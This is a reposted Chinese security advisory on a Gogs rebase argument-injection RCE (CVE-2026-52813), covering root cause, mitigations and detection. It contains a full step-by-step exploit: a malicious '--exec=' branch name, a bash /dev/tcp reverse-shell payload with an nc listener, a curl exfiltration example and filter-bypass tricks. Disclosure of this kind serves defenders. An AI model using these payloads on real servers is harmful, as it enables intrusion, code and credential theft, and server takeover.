【高危漏洞预警】Gogsgitrebase参数注入远程代码执行漏洞CVE-2026-52813

admin 2026-06-26 06:24:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了Gogsgitrebase参数注入远程代码执行漏洞CVE-2026-52813的技术细节。漏洞成因是Gogs在拼接gitrebase命令时未对用户输入的分支名进行安全校验且缺失参数分隔符,导致攻击者可通过构造特殊分支名实现命令注入。文档提供了完整的POC复现步骤、影响范围评估,并给出了关闭用户注册、禁用rebase合并等临时缓解措施以及代码层修复方案。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,WEB安全,解决方案,安全工具


cover_image

【高危漏洞预警】Gogs git rebase参数注入远程代码执行漏洞CVE-2026-52813

飓风网络安全

2026年6月25日 21:45 北京

在小说阅读器读本章

去阅读

一、漏洞基础信息总览

二、漏洞原理深度技术分析 2.1 业务背景:Gogs PR合并变基机制 Gogs是轻量级自托管Git代码仓库平台,支持Pull Request(拉取请求)合并功能,其中提供了「合并前变基(Rebase before merging)」选项,用于将目标分支的提交先变基到基准分支,再执行合并,保证提交记录线性。

该功能底层通过调用系统 git rebase命令实现,正常的命令格式为: git rebase <基准分支名> <目标分支名> 2.2 漏洞根因:缺失参数边界分隔符 漏洞的核心成因是Gogs代码未对用户可控的分支名称做安全校验,且拼接git命令时未添加POSIX标准的 — 参数分隔符,导致攻击者可以构造以Git命令行选项开头的特殊分支名,让Git解析器将分支名错误识别为命令参数。

  1. 代码层问题点: Gogs 后端 Merge() 函数处理变基合并时,直接从PR参数中读取用户提交的源分支名、目标分支名,直接字符串拼接到 git rebase 命令中,未做白名单校验,也未使用 — 分隔选项与位置参数。 伪代码示意(漏洞逻辑): // 漏洞代码:直接拼接分支名到命令 cmd := exec.Command(“git”, “rebase”, baseBranch, headBranch) err := cmd.Run() 当 headBranch 的值为 –exec=’恶意命令’ 时,实际执行的命令变为: git rebase main –exec=’恶意命令’ Git 会将 –exec 识别为合法的 rebase 参数,在每一次变基提交时自动执行其后的系统命令,最终触发任意代码执行。

  2. Git –exec 参数特性: git rebase –exec= 是Git原生支持的参数,用于在变基过程中每个提交完成后执行指定的系统命令,原本用于自动化测试、代码检查。攻击者利用该特性,将恶意系统命令通过分支名注入到命令行中,实现无文件、无痕迹的RCE。

2.3 完整攻击利用链路

  1. 前置准备:若目标Gogs开启默认注册功能,攻击者直接注册普通用户账号;若关闭注册,则获取任意一个拥有仓库写权限的账号即可。

  2. 构造恶意分支:在个人仓库中创建名称为 –exec= 的特殊分支,提交任意内容后推送到远程仓库。

  3. 发起PR触发变基:向仓库发起Pull Request,选择「合并前变基」的合并模式,提交PR。

  4. 触发命令执行:Gogs后端执行合并操作时,拼接恶意分支名调用git rebase,自动执行–exec后的系统命令,以Gogs服务进程权限获取服务器控制权限。

  5. 后渗透阶段:写入Webshell、反弹Shell、窃取仓库密钥与代码、提权接管整台服务器。

三、漏洞POC复现详细指南 前置声明 本POC仅用于安全研究、企业内部合规测试与漏洞验证,未经目标系统所有者书面授权,禁止对任何非授权目标进行利用测试,违规使用将承担相应法律责任。 3.1 环境准备 • 靶机:部署任意版本Gogs服务,开启用户注册功能,默认配置即可

• 攻击机:安装Git工具,拥有Gogs普通用户账号

• 验证方式:通过写入文件、反弹Shell两种方式验证命令执行

3.2 分步复现操作

步骤1:注册账号并创建测试仓库

  1. 访问目标Gogs平台,注册普通用户账号(如 attacker)

  2. 登录后创建一个公开仓库,命名为 poc-test,初始化默认README文件

步骤2:本地构造恶意分支并推送

在攻击机终端执行以下命令,创建以 –exec 参数命名的恶意分支:

克隆测试仓库

git clone http://目标Gogs地址/attacker/poc-test.git cd poc-test

创建恶意分支,分支名包含命令注入payload

注意:使用 — 分隔git checkout参数与分支名,强制git将其识别为分支名称

git checkout -b — –exec=’touch /tmp/gogs_rce_success’

提交任意修改,保证分支有可提交内容

echo “poc test” >> README.md git add README.md git commit -m “test commit”

推送恶意分支到远程仓库

git push origin –exec=’touch /tmp/gogs_rce_success’ 注:若命令包含特殊字符、空格,可使用单引号包裹;若需执行多条命令,可通过 ; 拼接,如 –exec=’id; whoami; curl http://攻击者地址/recv’ 步骤3:发起Pull Request触发变基

  1. 在Gogs网页端进入仓库,点击「Pull Request」→「新建拉取请求」

  2. 源分支选择刚才创建的 –exec=… 恶意分支,目标分支选择 main 主分支

  3. 提交PR后,点击「合并」按钮,在合并选项中勾选 「合并前变基(Rebase before merging)」

  4. 确认执行合并操作

步骤4:验证命令执行结果

登录Gogs服务器终端,查看 /tmp 目录下是否生成 gogs_rce_success 文件: ls -l /tmp/gogs_rce_success 若文件存在,说明漏洞成功触发,远程代码执行生效。

3.3 进阶Payload:反弹Shell

将分支名替换为反弹Shell payload,即可直接获取服务器交互权限:

创建反弹Shell分支(替换为攻击机IP与端口)

git checkout -b — “–exec=’bash -i >& /dev/tcp/192.168.1.100/7777 0>&1′”

提交并推送分支,后续PR触发步骤同上

攻击机提前开启端口监听: nc -lvnp 7777 触发合并后,攻击机将收到Gogs服务器的反弹Shell,权限与Gogs运行用户一致。

3.4 利用绕过与进阶技巧

  1. 空格与特殊字符绕过:若分支名存在字符限制,可使用 ${IFS} 替代空格,或通过base64编码解码执行命令

  2. 无交互触发:若仓库开启了自动合并、CI自动变基功能,攻击者推送恶意分支后无需人工点击,可自动触发漏洞

  3. 权限提升:若Gogs以root权限运行,漏洞触发后直接获取服务器最高权限

四、影响范围与威胁评估 4.1 受影响主体

  1. 所有版本Gogs自托管平台:截至2026年6月官方未发布补丁,全版本受影响

  2. 默认配置风险最高:Gogs默认开启用户自助注册,互联网暴露的实例可被攻击者无门槛注册利用

  3. 企业内网部署场景:企业内部代码仓库若使用Gogs,一旦攻击者通过社工、弱口令获取普通账号,即可横向渗透研发内网

4.2 实际威胁场景

  1. 供应链攻击:接管开源项目Gogs仓库,植入后门代码,污染下游使用者

  2. 代码数据窃取:窃取企业核心代码、密钥配置、账号凭证等敏感数据

  3. 内网跳板:以Gogs服务器为据点,横向渗透研发内网、CI/CD流水线

  4. 勒索加密:加密所有仓库代码数据,勒索赎金

五、缓解与修复方案 5.1 紧急临时缓解措施(官方补丁发布前必做)

  1. 关闭用户自助注册 在Gogs配置文件 app.ini 中设置: [service] DISABLE_REGISTRATION = true 重启服务生效,仅保留内部已知账号,降低攻击面。

  2. 禁用Rebase合并模式 修改仓库设置,关闭「合并前变基」选项,仅保留普通合并、Squash合并模式,阻断漏洞触发入口。 全局可通过配置文件禁用所有仓库的rebase合并功能。

  3. 网络访问限制 互联网暴露的Gogs实例增加IP白名单,禁止公网匿名访问;内网实例配置访问控制策略。

  4. 降权运行Gogs服务 禁止以root/管理员权限运行Gogs进程,使用低权限专用用户启动,降低漏洞被利用后的危害范围。

5.2 官方修复方向(代码层根治方案) 目前Gogs官方尚未发布正式补丁,正确的修复逻辑包含两点:

  1. 分支名校验:新增分支名格式白名单,禁止以 – 开头的分支名创建与推送

  2. 命令参数加固:所有git命令调用中,使用 — 分隔选项与位置参数,示例: // 修复后代码:通过–强制后续内容识别为分支名,杜绝参数注入 cmd := exec.Command(“git”, “rebase”, “–“, baseBranch, headBranch) 六、入侵检测与排查方法

  3. 日志排查 检查Gogs操作日志,是否存在异常命名的分支、可疑的PR合并记录

排查系统审计日志,Gogs运行用户是否执行了异常系统命令、创建了陌生文件

检查Git操作日志,是否包含 –exec 特征的异常rebase命令

  1. webshell与后门排查 扫描Gogs网站根目录、仓库存储目录,是否存在陌生的脚本文件、一句话木马

排查系统定时任务、启动项、SSH密钥,是否存在攻击者植入的持久化后门

  1. 漏洞批量检测 企业资产测绘时,可通过指纹识别Gogs实例,结合账号权限验证是否存在漏洞风险。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:飓风网络安全 《【高危漏洞预警】Gogs git rebase参数注入远程代码执行漏洞CVE-2026-52813》

评论:0   参与:  0